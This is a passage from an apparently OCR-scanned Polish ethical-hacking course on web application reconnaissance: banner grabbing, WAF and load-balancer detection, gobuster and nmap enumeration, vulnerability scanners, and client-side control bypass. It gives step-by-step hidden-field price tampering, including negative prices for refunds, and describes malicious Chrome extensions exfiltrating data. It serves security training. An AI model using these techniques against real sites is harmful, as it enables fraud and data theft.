operacyjnych itp. Stuzy do wykrywania sieci i audytu bezpieczenistwa. Jest to przydatne do zadan takich
jak inwentaryzacja sieci, zarzadzanie harmonogramami aktualizacji ustug oraz monitorowanie czasu
pracy hosta lub ustugi.

Oto niektére dodatkowe narzedzia wykrywania ustug:
o NetScanTools Pro (https://www.netscantools.com)
o Przegladarka Sandcat (https://www.syhunt.com)
Identyfikacja serwera/przechwytywanie baneréw

Przechwytywanie banerdéw to technika $ledzenia uzywana przez hakeréw w celu uzyskania poufnych
informacji o celu. Atakujgcy nawigzuje potgczenie z celem i wysyta do niego pseudozgdanie. Nastepnie
cel odpowiada na zadanie komunikatem banerowym zawierajgcym poufne informacje wymagane
przez atakujgcego do dalszej penetracji celu. Poprzez przechwytywanie baneréw osoby atakujgce
identyfikujg nazwe i/lub wersje serwera, systemu operacyjnego lub aplikacji. Analizujg pole nagtéwka
odpowiedzi serwera, aby zidentyfikowaé marke, model i wersje oprogramowania serwera WWW.
Informacje te pomagajg im wybrac odpowiednie exploity z baz danych luk w zabezpieczeniach w celu
zaatakowania serwera WWW i jego aplikacji. Ponizej przedstawiono sposdb, w jaki osoba atakujgca
moze uzyc¢ telnetu do ustanowienia potgczenia i uzyskania informacji na banerze celu:



* Atakujgcy wydaje polecenie telnet moviescope.com 80 w wierszu polecen swojego komputera, aby
ustanowi¢ potgczenie telnet z komputerem docelowym.

Uwaga: osoba atakujgca moze okresli¢ adres IP docelowej maszyny lub adres URL witryny
internetowej. W obu przypadkach atakujacy uzyskuje informacje na banerze celu. Innymi stowy, jesli
atakujgcy wprowadzit adres IP, otrzymuje baner informacyjny maszyny docelowej; jesli wprowadzi
adres URL strony internetowej, otrzyma baner informacyjny serwera WWW, na ktérym znajduje sie
strona internetowa.

Sktadnia: C:\telnet <domena witryny lub adres IP> 80
* Po nawigzaniu potfaczenia atakujgcy otrzymuje monit: nie wyswietla zadnych informacji.

*Teraz osoba atakujgca nacisnie klawisz Esc, co spowoduje wyswietlenie banera zawierajgcego
informacje o docelowym serwerze wraz z kilkoma innymi informacjami.

* Te informacje pomagajg atakujagcym znalezé sposoby wykorzystania docelowych serweréw
internetowych i ich aplikacji.

Przechwytywanie baneréw z ustug SSL

Narzedzia takie jak Telnet i Netcat s3 w stanie przechwytywaé banery z serwerdéw sieciowych tylko
przez potgczenie HTTP. Atakujgcy nie mogg przechwytywaé banerdw przez potgczenie SSL przy uzyciu
tych samych technik, ktére sg uzywane do przechwytywania baneréw przez potaczenia HTTP. Mogg
korzystad z narzedzi, takich jak OpenSSL, aby pobieraé banery z serwerdw sieciowych przez szyfrowane
potgczenie (HTTPS/SSL). Atakujgcy wykonujg nastepujgce kroki, aby przechwyci¢ banery przez
pofaczenie SSL:

Krok 1: Zainstaluj OpenSSL

OpenSSL to zestaw narzedzi kryptograficznych implementujgcy protokoty sieciowe Secure Sockets
Layer (SSL) i Transport Layer Security (TLS) oraz wymagane przez nie standardy kryptograficzne. Jest
dostepny pod adresem https://www.openssl.org.

Krok 2: Przejdz do OpenSSL w terminalu
Krok 3: Uruchom polecenie: s_client -host <docelowa witryna> -port 443.
Zastgp ctarget webstte> nazwg domeny celu. Tutaj 443 jest domysinym portem SSL.

Krok 4: Wpisz GET/HTTP/1.0 i naci$nij enter, aby uzyska¢ informacje o serwerze. Wyswietlane
informacje wskazujg, ze OpenSSL identyfikuje serwer uzywany przez Certifiedhacker.com jako Apache.

Niektére dodatkowe narzedzia do chwytania banerdw to:

Netcat ( http://netcat.sourceforge.net )

ID Serve (https://www.grc.com)

Netcraft (https://www.netcraft.com)

Wykrywanie zapér i serwerdw proxy aplikacji sieci Web w witrynie docelowej

Badajac infrastrukture sieciowg, atakujgcy muszg odkry¢ ustawienia zapory sieciowej i serwera proxy
witryny docelowej, aby poznaé zastosowane srodki bezpieczenstwa.

Wykrywanie serwerdow proxy



Niektére organizacje uzywajg serwerdw proxy przed swoimi serwerami internetowymi, aby
uniemozliwic ich wykrycie. Dlatego tez, gdy atakujacy probujg wysledzi¢ adres IP celu, ktéry jest ukryty
za serwerem proxy, przy uzyciu technik sledzenia, préba ta poda adres IP serwera proxy, a nie
prawidtowy adres. Ustal, czy witryna docelowa kieruje zadania przez serwery proxy. Aby dowiedzie¢
sie, czy serwer WWW znajduje sie za serwerem proxy, osoby atakujgce mogg uzy¢ polecenia sledzenia.
Polecenie $ledzenia wysyta zgdanie do serwera WWW z prosbg o odestanie zadania. Atakujacy
umieszczajg polecenie sledzenia w protokole HTTP/1.1. Jesli serwer WWW znajduje sie za serwerem
proxy, a osoba atakujgca wysyta zadanie za pomocg polecenia $ledzenia, serwer proxy modyfikuje to
zadanie (dodajac kilka nagtéwkéw) i przekazuje je do docelowego serwera WWW. Dlatego, gdy serwer
WWW odsyta zagdanie do maszyny atakujgcego, atakujgcy poréwnuje oba zgdania i analizuje zmiany
wprowadzone do niej przez serwer proxy.

Wykrywanie zapdr sieciowych aplikacji internetowych

Zapory aplikacji sieci Web (WAF) to urzadzenia zabezpieczajgce wdrozone miedzy klientem a
serwerem. Urzadzenia te sg jak IPS, ktdre zapewniajg bezpieczenstwo aplikacji internetowych przed
szerokg gama atakow. Monitorujg ruch na serwerze WWW i blokujg ztosliwy ruch, chronigc w ten
sposdb aplikacje internetowe przed atakami. Atakujgcy uzywajg réznych technik do wykrywania zapér
sieciowych aplikacji internetowych. Jedna z tych technik obejmuje sprawdzanie plikdéw cookie,
poniewaz kilka WAF dodaje wtasne pliki cookie podczas komunikacji klient-serwer. Atakujgcy moga
przegladac plik cookie zgdania FITTP, aby obserwowaé obecnos¢ WAF. Inng metodg wykrywania WAF
jest analiza zagdania nagtéwka FITTP. Wiekszos¢ zapdr ogniowych edytuje zgdania nagtéwka FITTP; w
zwigzku z tym odpowiedz serwera jest rézna. A wiec napastnik wysyta zgdanie do serwera WWW, a
gdy serwer odpowiada na zadanie, odpowiedz zdradza obecno$¢ zapory aplikacji internetowe;.
Atakujgcy uzywajg réznych narzedzi, takich jak WAFWOOF, do wykrywania obecno$ci WAF przed
serwerem WWW, na ktédrym znajduje sie docelowa witryna internetowa.

WAFWOOF

WAFWOOF pozwala identyfikowac i odciski palcéw WAF chronigcych strone internetowa. Wykrywa
WAF w dowolnej domenie, wyszukujac:

e Ciasteczka

e Upusé akcje

e Maskowanie serwera

e Wstepnie wbudowane reguty
¢ Kody odpowiedzi

Mozesz takze uzy¢ narzedzi wymienionych ponizej, aby wykry¢ WAF w docelowej infrastrukturze
internetowe;j:

o SHIELDFY Web Application Firewall Detector (https://shieldfy.io)
o WhatWaf (https://github.com)

o Nmap (https://nmap.org)

Wykrywanie ukrytych tresci

Ukryta zawartos¢ i funkcje niedostepne z gtéwnej widocznej zawartosci mogg zosta¢ wykryte w celu
wykorzystania uprawnien uzytkownika w aplikacji. Umozliwia to atakujgcemu odzyskanie kopii



zapasowych aktywnych plikow, plikdow konfiguracyjnych i plikéw dziennika zawierajgcych poufne dane,
archiwow kopii zapasowych zawierajgcych migawki plikéw w katalogu gtéwnym sieci, nowych funkgji
niepowigzanych z gtéwnga aplikacjg itp. Nastepujgce metody sg zatrudniony do odkrycia ukrytej tresci:

Przeszukiwanie/indeksowanie sieci

Pajaki/petzacze sieciowe automatycznie wykrywajg ukrytg zawarto$é i funkcjonalno$é, analizujgc
formularze HTML oraz zgdania i odpowiedzi JavaScript po stronie klienta.

OWASP Zed Attack Proxy

OWASP Zed Attack Proxy (ZAP) to zintegrowane narzedzie do testow penetracyjnych stuzgce do
wyszukiwania luk w zabezpieczeniach aplikacji internetowych. Oferuje zautomatyzowane skanery, a
takze zestaw narzedzi, ktére pozwalajg recznie znalezé luki w zabezpieczeniach. Atakujacy uzywaja
OWASP ZAP do przeszukiwania/indeksowania sieci w celu identyfikacji ukrytych tresci i funkcji w
docelowej aplikacji internetowe;j.

Oto niektére dodatkowe narzedzia do przeszukiwania/przeszukiwania sieci:
o Burp Suite ( https://portswigger.net )

o WebScarab (https://owosp.org)

o0 Mozenda Web Agent Builder (https://www.mozendo.com)

o Octoparse (https://www.octoporse.com)

o Giant Web Crawl (https://80legs.com)

Pajgk kierowany przez atakujgcego

Atakujgcy uzyskuje dostep do wszystkich funkcji aplikacji i uzywa przechwytujgcego serwera proxy do
monitorowania wszystkich zgdan i odpowiedzi. Przechwytujgcy serwer proxy analizuje wszystkie
odpowiedzi aplikacji i zgtasza wykrytg zawartos¢ i funkcjonalno$é. Narzedzia pajgka skierowane do
atakujacego:

OWASP Zed Attack Proxy ( https://www.zoproxy.org )
Wykryj moduty rownowazenia obcigzenia

Organizacje uzywajg systemow rownowazenia obcigzenia, aby roztozy¢ obcigzenie serwera WWW na
wiele serwerdw, a tym samym zwiekszy¢ produktywnosc i niezawodnos¢ aplikacji internetowych.
Ogdlnie rzecz biorac, istniejg dwa rodzaje systemoéw rdwnowazenia obcigzenia, a mianowicie systemy
rownowazenia obcigzenia DNS (systemy rdownowazenia obcigzenia warstwy 4) i systemy
rownowazenia obcigzenia HTTP (systemy réwnowazenia obcigzenia warstwy 7). Atakujgcy uzywajg
réznych narzedzi, takich jak Dig, Detektor rownowazenia obcigzenia (lbd) i Halabarda, w celu wykrycia
systemow rownowazenia obcigzenia docelowe]j organizacji wraz z ich prawdziwymi adresami IP. Na
przyktad, jesli pojedynczy host rozwigzuje wiele adreséw IP, osoby atakujgce mogag ustalié, ze
organizacja docelowa korzysta z systemdéw réwnowazenia obcigzenia.

Uzywanie polecenia hosta

Wopisz nastepujgce polecenie hosta, aby okresli¢, czy domena docelowa jest ttumaczona na wiele
adresow IP:

host <domena docelowa>



Uzywanie polecenia Dig

Polecenie dig zapewnia bardziej szczegétowe wyniki niz polecenie host. Wpisz nastepujace polecenie
dig, aby okresli¢, czy domena docelowa rozwigzuje wiele adresow IP:

dig <domena docelowa>
Korzystanie z detektora rownowazenia obcigzenia (lbd)

Ibd (detektor réwnowazenia obcigzenia) wykrywa, czy dana domena uzywa rownowazenia obcigzenia
DNS i/lub HTTP za posrednictwem nagtéwka Server: i Date: oraz réznic miedzy odpowiedziami serwera.
Analizuje dane otrzymane z odpowiedzi aplikacji w celu wykrycia systemdéw rownowazenia obcigzenia.
Wpisz nastepujgce polecenie, aby wykryé moduty réwnowazenia obcigzenia docelowej aplikacji
internetowe;j:

Ibd <domena docelowa>

Po zidentyfikowaniu prawdziwych adreséow IP za systemami réwnowazenia obcigzenia, osoby
atakujgce przeprowadzajg dalsze ataki na atakowang organizacje.

Analizuj aplikacje internetowe

Gdy osoby atakujgce podejma rézne mozliwe ataki na podatny na ataki serwer WWW, mogg skierowac
sSwojg uwage na samg aplikacje internetowa. Aby zhakowac aplikacje internetowa, najpierw moze by¢
konieczne jej przeanalizowanie w celu okreslenia jej wrazliwych obszarow. Nawet jesli ma tylko jedng
luke, atakujacy prébujg zagrozi¢ jego bezpieczenstwu, przeprowadzajgc odpowiedni atak. W tej sekgji
opisano, w jaki sposéb osoby atakujace znajdujg luki w zabezpieczeniach aplikacji internetowe;j i
wykorzystujg je. Atakujgcy muszg przeanalizowaé docelowe aplikacje internetowe, aby okresli¢ ich luki
w zabezpieczeniach. Pomaga im to zmniejszyé , powierzchnie ataku”. Aby przeanalizowa¢ aplikacje
internetowag, osoby atakujace uzyskujg podstawowa wiedze na temat aplikacji internetowej. Nastepnie
moga przeanalizowac¢ funkcjonalnosé i technologie aktywnej aplikacji, aby zidentyfikowaé wszelkie
narazone obszary ataku.

Zidentyfikuj punkty wejscia do wprowadzania danych przez uzytkownika: Pierwszym krokiem w
analizie aplikacji internetowej jest sprawdzenie punktu wejscia aplikacji, ktéry moze pdzniej stuzyc¢ jako
brama do atakéw. Jeden z punktdw wejscia obejmuje front-endowg aplikacje internetowsy, ktéra
przechwytuje zgdania HTTP. Inne punkty wejscia aplikacji sieci Web to interfejsy uzytkownika
udostepniane przez strony internetowe, interfejsy ustug udostepniane przez ustugi sieci Web,
obstugiwane komponenty i komponenty .NET Remoting. Osoby atakujgce powinny przejrzeé
wygenerowane zgdanie HTTP, aby zidentyfikowac¢ punkty wejscia danych wejsciowych uzytkownika.

Zidentyfikuj technologie po stronie serwera: Technologie po stronie serwera lub systemy skryptéw po
stronie serwera sg uzywane do generowania dynamicznych stron internetowych zadanych przez
klientow i sg przechowywane wewnetrznie na serwerze. Serwer umozliwia uruchamianie
interaktywnych stron internetowych lub serwiséw internetowych w przegladarkach internetowych.
Powszechnie stosowane technologie po stronie serwera to Active Server Pages (ASP), ASP.NET,
ColdFusion, JavaServer Pages (JSP), PHP, Python i Ruby on Rails. Atakujgcy mogg odciskow palcow
technologii aktywnych na serwerze przy uzyciu réznych technik odciskéw palcéw, takich jak odciski
palcow HTTP.

Zidentyfikuj funkcjonalnos¢ po stronie serwera: Funkcjonalnos¢ po stronie serwera odnosi sie do
zdolnosci serwera do wykonywania programéw na wyjsciowych stronach internetowych. Zgdania
uzytkownikéw stymulujg skrypty znajdujgce sie na serwerze sieciowym do wyswietlania



interaktywnych stron internetowych lub stron internetowych. Serwer wykonuje skrypty po stronie
serwera, ktére sg niewidoczne dla uzytkownika. Atakujgcy powinni ocenia¢ strukture i funkcjonalnosé
po stronie serwera, bacznie obserwujac aplikacje ujawniane klientowi.

Zidentyfikuj pliki i katalogi: serwery sieci Web hostujg aplikacje internetowe, a btedne konfiguracje
podczas hostowania tych aplikacji internetowych mogg prowadzi¢ do ujawnienia krytycznych plikdw i
katalogéw w Internecie. Atakujacy identyfikujg pliki i katalogi docelowej aplikacji internetowej
ujawnione w Internecie za pomoca réznych zautomatyzowanych narzedzi, takich jak Gobuster. Takie
informacje dodatkowo pomagajg atakujgcym gromadzic¢ poufne informacje przechowywane w plikach
i folderach.

Zidentyfikuj luki w zabezpieczeniach aplikacji internetowych: Aplikacje internetowe sg tworzone przy
uzyciu réznych technologii i platform. Nieprzestrzeganie bezpiecznych praktyk kodowania podczas
tworzenia aplikacji internetowych moze pozostawi¢ luki, ktéore mozina wykorzysta¢ do
przeprowadzenia réznego rodzaju atakéw.

Mapuj obszar ataku: osoby atakujgce nastepnie mapujg obszar ataku aplikacji internetowej, aby obrac
za cel okreslone obszary podatne na atak. Identyfikujg rézne obszary atakéw wykryte przez aplikacje,
a takze zwigzane z nimi luki w zabezpieczeniach.

Zidentyfikuj punkty wejscia dla danych wprowadzanych przez uzytkownika

Bramki wejsciowe aplikacji sieci Web pomagajg atakujgcym przeprowadzac rdine rodzaje atakow
polegajgcych na wstrzykiwaniu na aplikacje. Jesli takie bramki wejsciowe sg podatne na ataki,
uzyskanie dostepu do aplikacji jest fatwe. Dlatego podczas analizy aplikacji internetowej osoby
atakujace prdébujg zidentyfikowac¢ punkty wejscia danych wprowadzanych przez uzytkownika, aby
zrozumieé, w jaki sposdéb aplikacja internetowa akceptuje lub obstuguje dane wprowadzane przez
uzytkownika. Atakujgcy sprawdzajg adres URL, nagtéwek HTTP, parametry ciggu zapytania, dane POST
i pliki cookie, aby okresli¢ wszystkie pola wprowadzania danych przez uzytkownika. Identyfikujg
réwniez parametry nagtdwka HTTP, ktére mogg byc¢ przetwarzane przez aplikacje jako dane wejsciowe
uzytkownika, takie jak User-Agent, Referer, Accept, Accept-Language i Host. Ponadto okreslajg techniki
kodowania adreséw URL i inne $rodki szyfrowania stosowane w celu zabezpieczenia ruchu
internetowego, takie jak SSL. Nastepnie mogg znalezé luki obecne w mechanizmie wejsciowym i
wykorzystaé je w celu uzyskania dostepu do aplikacji internetowej. Uzyj nastepujgcych narzedzi do
analizy aplikacji internetowej:

Burp Suite (https://portswigger.net)

WebScarab ( https://owasp.org )

OWASP Zed Attack Proxy ( https://www.zaproxy.org )
httpprint (https://www.net-square.com)
Zidentyfikuj technologie po stronie serwera

Wykonaj szczegétowe odciski palcow serwera i przeanalizuj nagtéwki HTTP oraz kod zrédtowy HTML,
aby zidentyfikowaé technologie po stronie serwera. Zbadaj adresy URL pod katem rozszerzen plikow,
katalogéw i innych informacji identyfikacyjnych

Sprawdz komunikaty strony btedu

Sprawdz tokeny sesji: JSESSIONID - ASP.NET_Sessionld — ASP.NET, PHPSESSID — PHP



Uzyj narzedzi, takich jak httprint i WhatWeb, aby zidentyfikowac technologie po stronie serwera
httpprint

httprint to narzedzie do pobierania odciskéw palcéw serwera sieciowego, ktére opiera sie na
charakterystyce serwera sieciowego w celu doktadnej identyfikacji serwerdw sieciowych, nawet jesli
mogty zosta¢ zaciemnione przez zmiane ciggdw banerdéw serwera lub wtyczki, takie jak mod_security
lub maska serwera, httprint moze by¢ réowniez uzywany do wykrywa urzadzenia z dostepem do
Internetu, ktdre nie majg taricucha baneréw serwera, takie jak bezprzewodowe punkty dostepowe,
routery, przetaczniki, modemy kablowe, a httprint uzywa ciggdw sygnatur tekstowych i bardzo fatwo
jest dodawad sygnatury do bazy danych sygnatur.

WhatWeb

WhatWeb skanuje i identyfikuje technologie internetowe, w tym systemy zarzgdzania trescig (CMS),
platformy blogowe, pakiety statystyczne/analityczne, biblioteki JavaScript, serwery WWW i urzagdzenia
wbudowane. WhatWeb ma ponad 1800 wtyczek, z ktérych kazda rozpoznaje co$ innego. WhatWeb
identyfikuje réwniez numery wersji, adresy e-mail, identyfikatory kont, moduty frameworka
sieciowego, btedy SQL i inne.

Zidentyfikuj funkcjonalnos¢ po stronie serwera

Po okresleniu technologii po stronie serwera osoby atakujgce prébujg zidentyfikowac funkcje po
stronie serwera, aby znalez¢ potencjalne luki w zabezpieczeniach. Badajg zrddto strony i adresy URL
oraz dokonujg swiadomych przypuszczen, aby okresli¢ wewnetrzng strukture i funkcjonalnos¢ aplikacji
internetowych. Uzywajg do tego nastepujacych narzedzi.

GNU Wget

GNU Woget stuzy do pobierania plikdw za pomocg HTTP, HTTPS i FTP, ktére s3 najczesciej uzywanymi
protokofami internetowymi. Jest to nieinteraktywne narzedzie wiersza polecen; w zwigzku z tym
mozna go wywotywac ze skryptdw, zadan cron i terminali bez obstugi X-Windows.

BlackWidow
curl
Sprawdz adres URL

Adres URL strony z certyfikatem SSL zaczyna sie od https zamiast http. Jesli strona zawiera rozszerzenie
aspx, aplikacja jest prawdopodobnie napisana przy uzyciu ASP.NET. Jesli cigg zapytania ma parametr o
nazwie showBY, mozna zatozy¢, ze aplikacja korzysta z bazy danych i wyswietli dane wedtug tej
wartosci.

Zidentyfikuj pliki i katalogi

Atakujacy uzywajg réznych technik i narzedzi do wyliczania aplikacji, ukrytych katalogéow i plikéw
aplikacji internetowej hostowanej na serwerach sieciowych, ktére sg widoczne w Internecie. Uzywajg
narzedzi takich jak Gobuster i URL Fuzzer oraz skryptu Nmap NSE http-enum do identyfikacji plikdw i
katalogéw docelowej aplikacji internetowe;j.

Gobuster

Gobuster to oparty na Go-programming skaner katalogdw, ktéry umozliwia atakujgcym szybkie
wyliczanie ukrytych plikdw i katalogéw docelowej aplikacji internetowej. Jest to zorientowane na



polecenia narzedzie uzywane do brutalnego wymuszania identyfikatorow URI na stronach
internetowych, subdomenach DNS, nazwach hostéw wirtualnych na serwerze docelowym itp.
Uruchom nastepujgce polecenie, aby pobrac¢ nazwy plikdw i katalogéw oraz ich kody stanu:

gobuster -u <docelowy URL> -w common.txt
Uzyj flagi -s, aby pobra¢ pliki i katalogi zwigzane z okre$lonymi kodami statusu:
gobuster -u <docelowy URL> -w common.txt -s 200

Podobnie flagi -q i -n mogg zapewni¢ szybki podglad katalogédw bez banerdw i kodéw statusu. Mozesz
takze wypisac wynik do pliku wyjsciowego za pomoca flagi -o.

Nmap

Atakujacy uzywaja skryptu Nmap NSE http-enum do wyliczania aplikacji, katalogéw i plikow serweréw
WWW, ktére sg widoczne w Internecie. W ten sposdb mogg zidentyfikowaé krytyczne luki w
zabezpieczeniach docelowej aplikacji internetowej. Uruchom nastepujace polecenie Nmap, aby zebra¢
informacje o ujawnionych plikach i katalogach docelowego serwera WWW:

nmap -sV --script=http-enum <domena docelowa lub adres IP>
Zidentyfikuj luki w zabezpieczeniach aplikacji internetowych

Atakujacy uzywajg réznych technik do wykrywania luk w docelowych aplikacjach internetowych
hostowanych na serwerach internetowych w celu uzyskania dostepu na poziomie administratora do
serwera lub odzyskania poufnych informacji przechowywanych na serwerze. Skanujg aplikacje w celu
zidentyfikowania luk w zabezpieczeniach i wykrywajg powierzchnie ataku w aplikacjach docelowych.
Przeprowadzenie kompleksowego skanowania pod katem luk w zabezpieczeniach moze ujawnic luki w
zabezpieczeniach zwigzane z plikami wykonywalnymi, plikami binarnymi i technologiami uzywanymi w
aplikacji internetowej. Dzieki skanowaniu pod katem luk w zabezpieczeniach osoby atakujgce mogg
réowniez katalogowac rézne luki w zabezpieczeniach, ustalaé dla nich priorytety na podstawie poziomu
zagrozenia i wykorzystywac je podczas atakowania aplikacji. Atakujacy mogg uzywaé narzedzi, takich
jak Vega, WPScan Vulnerability Database, Arachni i Uniscan, aby zidentyfikowac¢ luki w docelowych
aplikacjach internetowych.

Wega

Vega to darmowy skaner bezpieczenstwa sieciowego typu open source i platforma do testowania
bezpieczenstwa sieciowego do testowania bezpieczenistwa aplikacji internetowych. Vega pomaga
znalez¢ i zweryfikowac¢ iniekcje SQL, cross-site scripting (XSS), nieumyslnie ujawnione poufne
informacje i inne luki w zabezpieczeniach. Jest napisany w Javie i oparty na graficznym interfejsie
uzytkownika i dziata w systemach Linux, OS X i Windows. Vega pomaga réwniez znalez¢ luki w
zabezpieczeniach, takie jak odbite skrypty miedzy witrynami, przechowywane skrypty miedzy
witrynami, $lepe wstrzykiwanie SQL, zdalne dotaczanie plikdw, wstrzykiwanie powtoki i inne. Bada
réwhniez ustawienia zabezpieczen TLS/SSL i identyfikuje mozliwosci poprawy bezpieczenstwa serwerdw
TLS.

Oto niektére dodatkowe narzedzia do skanowania aplikacji internetowych:
WPScan Vulnerability Database (https://wpscon.com)
Arachni (https://www.orochni-sconner.com)

apppider (https://www.ropid7.com)



Uniscan ( https://sourceforge.net )
Zmapuj powierzchnie ataku

Gdy osoby atakujgce wykryjg punkty wejscia, technologie i funkcje po stronie serwera, mogg znalez¢
odpowiednie luki w zabezpieczeniach i zmapowac obszar ataku docelowej aplikacji internetowe;.
Analiza aplikacji internetowych pomaga w ten sposéb atakujgcym zmniejszy¢ powierzchnie ataku. Przy
planowaniu ataku atakujacy biorg pod uwage nastepujace czynniki.

Informacje: Atak

Walidacja po stronie klienta: atak iniekcyjny, atak uwierzytelniajgcy

Interakcja z bazg danych: SQL Injection, wyciek danych

Przesytanie i pobieranie plikdw: przechodzenie przez katalogi

Wyswietlanie danych dostarczonych przez uzytkownika: skrypty miedzywitrynowe
Dynamiczne przekierowania: przekierowanie, wstrzykniecie nagtéwka
Logowanie: Wyliczanie nazwy uzytkownika, Hasto Brute-Force

Stan sesji: przejmowanie sesji, utrwalanie sesji

Atak iniekcyjny: eskalacja uprawnien, kontrola dostepu

Komunikacja jawnego tekstu: kradziez danych, przejecie sesji

Komunikat o btedzie: Wyciek informacji

Interakcja e-mailowa: wstrzykiwanie wiadomosci e-mail

Kod aplikacji: Przepetnienie bufora

Aplikacja innej firmy: wykorzystanie znanych luk w zabezpieczeniach
Oprogramowanie serwera WWW: wykorzystanie znanych luk w zabezpieczeniach

Aplikacja internetowa wymaga kontroli po stronie klienta w celu ograniczenia danych wprowadzanych
przez uzytkownika podczas przesytania danych za posrednictwem komponentéw klienckich i
wdrozenia srodkdw kontroli interakcji uzytkownika z jego wtasnym klientem. Deweloper wykorzystuje
techniki, takie jak ukryte pola formularzy HTML i rozszerzenia przegladarki, aby umozliwi¢ transmisje
danych do serwera za posrednictwem klienta. Czesto tworcy stron internetowych zaktadaja, ze dane
przesytane od klienta do serwera znajdujg sie pod kontrolg uzytkownika, a to zatozenie moze narazic¢
aplikacje na rézne ataki.

Oto niektére techniki omijania kontroli po stronie klienta:

Atak na ukryte pola formularzy: Zidentyfikuj ukryte pola formularzy na stronie internetowej i manipuluj
znacznikami i polami, aby wykorzystac¢ strone internetowg przed przestaniem danych na serwer.

Atak na rozszerzenia przegladarki: proba przechwycenia ruchu z rozszerzen przegladarki lub
dekompilacja rozszerzen przegladarki w celu przechwycenia danych uzytkownika.

Przeprowadz przeglad kodu zrédtowego: Przeprowadz przeglad kodu Zzrodtowego, aby zidentyfikowac
luki w kodzie, ktérych nie mozna zidentyfikowac za pomoca tradycyjnych narzedzi do skanowania.



Unikaj filtréw XSS: Unikaj filtrow XSS, wprowadzajac nietypowe znaki do kodu HTML.
Atakuj ukryte pola formularzy

Aplikacje sieci Web do handlu elektronicznego/sprzedazy detalicznej uzywajg ukrytych pél formularzy
HTML, aby ograniczy¢ uzytkownikowi mozliwos¢ przeglagdania/modyfikowania pdl danych, takich jak
,produkty” i ,ceny produktéw”, oraz umozliwiajg uzytkownikowi wprowadzanie okreslonych pdl,
takich jak ,,ilos¢”, przy zatozeniu, ze uzytkownik wprowadza wymagang ilos¢ przed przestaniem danych
na serwer. Deweloper oznacza te pola jako ukryte, aby uniemozliwi¢ uzytkownikowi ich
modyfikowanie. W kazdej sesji klienta programisci uzywajg ukrytych pél do przechowywania informacji
o kliencie, w tym cen produktéw i stawek rabatowych. Postepuj zgodnie z procesem opisanym ponizej,
aby zaatakowac ukryte pola formularza:

Zidentyfikuj podatne aplikacje internetowe

Zapisz kod zrédtowy strony HTML

Zlokalizuj ukryte pole

Manipuluj wartosciami cen, edytujac wartos¢ pola ceny
Zapisz plik i ponownie zataduj zrédto do przegladarki
Kliknij przycisk Kup

Zadanie zostanie przestane do serwera ze zmieniong ceng. Mozesz takze uzy¢ narzedzi proxy, takich
jak Burp Suite, aby przechwyci¢ zadanie, ktdre przesyta formularz i zmodyfikowac pole ceny na
dowolng wartos¢. Ponadto mozesz sprobowac wprowadzi¢ ujemne wartosci cen, aby oszukac aplikacje
detaliczng, aby zwrdcita kwote za posrednictwem transakcji kartg kredytowa.

Atakuj rozszerzenia przegladarki

Dane z aplikacji internetowej korzystajacej z komponentdéw rozszerzenia przegladarki mozna
przechwytywac na dwa sposoby:

Przechwytywanie ruchu z rozszerzen przegladarki

Préoba przechwycenia i zmodyfikowania odpowiednio zgdania i odpowiedzi komponentu i serwera.
Mozesz uzy¢ narzedzi takich jak Burp Suite do przechwytywania danych. Ta metoda ma pewne
ograniczenia, takie jak zaciemnianie lub szyfrowanie danych oraz bezpieczna serializacja danych.

Dekompilacja rozszerzen przegladarki

Korzystajgc z tej techniki, mozna podjaé¢ probe dekompilacji kodu bajtowego komponentu w celu
wyswietlenia jego szczegdtowego Zrddta, co pozwala zidentyfikowaé szczegétowe informacje o
funkcjonalnosci komponentu. Gtéwng zaletg tej techniki jest mozliwos¢ modyfikowania danych
zawartych w zadaniach wysytanych do serwera, niezaleznie od zastosowanych mechanizméw
zaciemniania lub szyfrowania przesytanych danych. Mozesz uzyé narzedzi proxy, takich jak Burp Suite,
aby przechwyci¢ i zmodyfikowac strone internetowgq i zgdania komponentu, w kontekscie omijania
sprawdzania poprawnosci danych wejsciowych po stronie klienta, ktére jest zaimplementowane w
rozszerzeniu przegladarki, jesli komponent przesyta zweryfikowane dane do serwera w sposdb
przejrzysty, dane te mozna modyfikowa¢ za pomocy przechwytujgcego serwera proxy w taki sam
sposdb, jak opisano dla Dane formularza HTML.

Atak na rozszerzenia przegladarki Google Chrome



Aby skompromitowa¢ dowolng przegladarke internetowg, osoby atakujgce najpierw naktaniajg ofiary
do pobrania ztosliwego pliku lub nakfaniajg je do odwiedzenia ztosliwej witryny, aby mogty tatwo
zainfekowa¢ docelowg przegladarke. Po zainstalowaniu ztosliwego oprogramowania przegladarka
zmusza uzytkownikow do wykonania okreslonych dziatan, takich jak aktywacja rozszerzen i nadanie
uprawnien do eksfiltracji danych. Na przyktad w kontekscie przegladarki Google Chrome osoby
atakujgce mogg atakowac funkcje synchronizacji Chrome, ktéra umozliwia uzytkownikom ptynne
przegladanie na wielu platformach. Wykorzystujgc te funkcje w zaatakowanej przegladarce, osoby
atakujgce moga dodawac fatszywe lub ztosliwe rozszerzenia, ktére wydajg sie by¢ legalne, za pomocg
ktérych moga zbiera¢ informacje przechowywane w przegladarce, takie jak informacje o
autouzupetnianiu, dane z zaktadek, historie wyszukiwania, hasta, ustawienia konfiguracji i inne
zsynchronizowane dane dane. Ponizszy zrzut ekranu pokazuje instalacje fatszywego rozszerzenia o
nazwie Forcepoint ze zhakowanej przegladarki, ktéore moze zostaé uzyte do eksfiltracji
zsynchronizowanych danych z urzadzenia uzytkownika do zdalnego atakujacego.

Nastepujace informacje mogg zostac zebrane przez osoby atakujgce po zainfekowaniu przegladarki
Google Chrome.

o Aktywno$¢ uzytkownika

o Jezyk méwiony przez uzytkownika

o Ostatnio odwiedzone strony

o Rodzaje najczesciej uzywanych plikdw multimedialnych

o Transakcje finansowe za posrednictwem witryn handlu elektronicznego

o Liste zaufanych kontaktow uzytkownika i dane zapisywane w przegladarce

o Geolokalizacja

o Dane zyroskopu i czujnika zblizeniowego urzadzenia uzytkownika podczas korzystania z GPS
o Dane osobowe utworzone przez uzytkownika

o Nazwa uzytkownika, hasta, tozsamosci, dane konta finansowego i dane kontaktowe zapisane w
przegladarce

o Niestandardowe ustawienia przegladarki

o Inne informacje, takie jak reakcje uzytkownikéw na posty w mediach spotecznosciowych lub pliki
przestane na strony internetowe

o Dane zebrane z urzadzen powigzanych z kontem uzytkownika

o Informacje o urzadzeniu, zainstalowane aplikacje, uzywane ustugi itp.
o Inne informacje

o Pliki, wiadomosci, dane i ustugi zwigzane z uzytkownikiem

o Zewnetrzne witryny internetowe lub dostawcy ustug, tacy jak witryny handlu elektronicznego,
witryny mediéw spotecznosciowych, witryny badawcze i dostawcy ustug biznesowych

